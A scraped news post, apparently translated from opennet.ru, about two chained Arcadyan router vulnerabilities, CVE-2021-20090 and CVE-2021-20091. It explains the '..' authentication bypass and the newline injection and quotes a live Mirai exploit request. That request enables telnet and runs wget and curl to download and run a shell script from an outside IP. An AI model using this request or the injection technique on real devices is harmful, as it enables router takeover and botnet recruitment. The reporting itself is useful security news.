A large-scale attack has been detected on home routers that use the http server implementation from Arcadyan. A combination of two vulnerabilities is utilized to gain control over the devices, allowing arbitrary code execution remotely with root privileges. This issue affects a significant range of ADSL routers from Arcadyan, ASUS, and Buffalo, as well as devices supplied under the brands Beeline (issue confirmed in Smart Box Flash), Deutsche Telekom, Orange, O2, Telus, Verizon, Vodafone, and other telecom operators. It is noted that this problem has been present in Arcadyan firmware for over 10 years and has migrated into at least 20 device models from 17 different manufacturers. <\/p>\n
The first vulnerability CVE-2021-20090 allows access to any web interface script without authentication. The essence of the vulnerability lies in the fact that some directories in the web interface, through which images, CSS files, and JavaScript scripts are served, are accessible without authentication. Access control for these directories is determined by an initial mask. The path components containing the characters \"..\/\" to traverse to the parent directory are blocked by the firmware, but using the combination \"..\" is permitted. Thus, it is possible to open protected pages by sending requests like \"http:\/\/192.168.1.1\/images\/..index.htm.\" <\/p>\n
The second vulnerability CVE-2021-20091 allows an authenticated user to modify the device's system settings by sending specially formatted parameters to the apply_abstract.cgi script, which does not check for the presence of a newline character in the parameters. For example, an attacker can specify the value \"192.168.1.2ARC_SYS_TelnetdEnable=1\" in the IP address field when performing a ping operation, and the script, when creating the configuration file at \/tmp\/etc\/config\/.glbcfg, will write the line \"AARC_SYS_TelnetdEnable=1\" into it, which activates server<\/a> telnetd, providing unrestricted access to the command shell with root privileges. Similarly, by setting the AARC_SYS parameter, any code can be executed in the system. The first vulnerability allows the problematic script to be run without authentication by accessing it as \"\/images\/..apply_abstract.cgi.\" <\/p>\n In order to exploit vulnerabilities, an attacker must be able to send a request to the network port where the web interface is running. Judging by the dynamics of the attack's spread, many operators leave access from the external network on their devices to simplify problem diagnosis for support services. When access to the interface is restricted to the internal network only, the attack can be carried out from the external network using the 'DNS rebinding' technique. Vulnerabilities are already being actively used to connect routers to the Mirai botnet: POST \/images\/..apply_abstract.cgi HTTP\/1.1 Connection: close User-Agent: Dark action=start_ping&submit_button=ping.html& action_params=blink_time5&ARC_ping_ipaddress=212.192.241.7 ARC_SYS_TelnetdEnable=1& ARC_SYS_=cd+ \/tmp; wget http:\/\/212.192.241.72\/lolol.sh; curl -O http:\/\/212.192.241.72\/lolol.sh; chmod 777 lolol.sh; sh lolol.sh&ARC_ping_status=0&TMP_Ping_Type=4 \u0412 \u0441\u0435\u0442\u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043c\u0430\u0441\u0441\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u0434\u043e\u043c\u0430\u0448\u043d\u0438\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u044b, \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0430\u0445 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f http-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043e\u0442 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Arcadyan. \u0414\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0435 \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0445 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0441\u043f\u0435\u043a\u0442\u0440 ADSL-\u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u0432 \u043e\u0442 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 Arcadyan, ASUS \u0438 Buffalo, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u043f\u043e\u0434 \u0431\u0440\u0435\u043d\u0434\u0430\u043c\u0438 \u0411\u0438\u043b\u0430\u0439\u043d (\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100949","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47 Vulnerability in home routers affecting 17 manufacturers | ProHoster","description":"A massive attack on home routers has been detected, where the firmware uses the HTTP server implementation from Arcadyan.","canonical_url":"https:\/\/prohoster.info\/en\/blog\/news\/uyazvimost-v-domashnih-marshrutizatorah-ohvatyvayushhaya-17-proizvoditelej","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"en_US","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0434\u043e\u043c\u0430\u0448\u043d\u0438\u0445 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u0445, \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0430\u044f 17 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u0439 | ProHoster","og:description":"\u0412 \u0441\u0435\u0442\u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043c\u0430\u0441\u0441\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u0434\u043e\u043c\u0430\u0448\u043d\u0438\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u044b, \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0430\u0445 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f http-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043e\u0442 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Arcadyan.","og:url":"https:\/\/prohoster.info\/en\/blog\/news\/uyazvimost-v-domashnih-marshrutizatorah-ohvatyvayushhaya-17-proizvoditelej","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-08-09T08:22:57+00:00","article:modified_time":"2021-08-09T08:22:57+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"100949","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-08-09 08:52:28","updated":"2022-10-01 01:24:53","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/posts\/100949","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/comments?post=100949"}],"version-history":[{"count":1,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/posts\/100949\/revisions"}],"predecessor-version":[{"id":172937,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/posts\/100949\/revisions\/172937"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/media?parent=100949"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/categories?post=100949"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/tags?post=100949"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
\n
Source: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"